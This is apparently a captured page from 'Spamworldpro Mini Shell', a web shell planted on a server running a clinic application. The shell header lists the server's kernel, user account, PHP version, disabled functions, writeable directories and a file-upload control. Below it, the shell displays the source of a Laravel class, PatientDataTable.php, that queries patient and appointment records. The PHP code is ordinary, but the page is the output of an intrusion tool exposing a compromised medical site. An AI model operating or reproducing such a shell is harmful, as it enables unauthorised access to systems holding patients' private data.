Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/clinic.corals.io/app/DataTables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/clinic.corals.io/app/DataTables/PatientDataTable.php
<?php

namespace App\DataTables;

use App\Models\Appointment;
use App\Models\Patient;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;

/**
 * Class PatientDataTable
 */
class PatientDataTable
{
    /**
     * @return Patient
     */
    public function get()
    {
        /** @var Patient $query */
        $query = Patient::with(['user', 'appointments'])->withCount('appointments')->get();

        return $query;
    }

    /**
     * @param  array  $input
     *
     *
     * @return mixed
     */
    public function getAppointment($input = [])
    {
        $query = Appointment::with(['doctor.user']);

        $query->when(isset($input['status']) && $input['status'] != Appointment::STATUS,
            function (Builder $q) use ($input) {
                if ($input['status'] == Appointment::ALL) {
                    $q->where('patient_id', '=', $input['patientId']);
                } else {
                    $q->where('status', '=', $input['status']);
                    $q->where('patient_id', '=', $input['patientId']);
                }
            });

        $query->when(
            isset($input['filter_date']) && ! empty($input['filter_date']),
            function (Builder $q) use ($input) {
                $timeEntryDate = explode(' - ', $input['filter_date']);
                $startDate = Carbon::parse($timeEntryDate[0])->format('Y-m-d');
                $endDate = Carbon::parse($timeEntryDate[1])->format('Y-m-d');
                $q->whereBetween('date', [$startDate, $endDate]);
            }
        );

        if (getLogInUser()->hasRole('doctor')) {
            $doctorId = getLoginUser()->doctor->id;
            $query->whereDoctorId($doctorId);
        }

        return $query->get();
    }
}

Spamworldpro Mini